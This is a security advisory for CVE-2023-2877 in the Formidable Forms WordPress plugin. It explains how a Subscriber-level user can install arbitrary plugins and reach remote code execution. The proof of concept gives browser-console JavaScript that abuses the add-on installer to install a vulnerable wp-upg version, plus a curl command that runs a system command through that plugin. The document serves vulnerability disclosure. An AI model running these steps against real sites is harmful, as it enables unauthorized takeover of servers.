Formidable Forms < 6.3.1 – Subscriber+ Remote Code Execution | CVE 2023-2877

Description

The plugin does not adequately authorize the user or validate the plugin URL in its functionality for installing add-ons. This allows a user with a role as low as Subscriber to install and activate arbitrary plugins of arbitrary versions from the WordPress.org plugin repository onto the site, leading to Remote Code Execution.

Proof of Concept

1. As a Subscriber user, visit `/wp-admin/admin.php?page=formidable-welcome`
2. Run the following JavaScript  code in the browser console:

var token = jQuery('a.button-primary.frm-button-primary')[0].href.replace(/^.*token=(\w+).*$/, '$1');
await fetch( `/wp-json/frm-admin/v1/install-addon?token=${token}&file_url=https://downloads.wordpress.org/plugin/wp-upg.2.19.zip` );

3. Note that version 2.19 of the `wp-upg` plugin has been installed, despite being closed and having a known security vulnerability. Any version of any WordPress.org plugin could be installed here.
4. For RCE with the `wp-upg` plugin, run the following `curl` command:

curl -i 'https://SITE_URL/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL'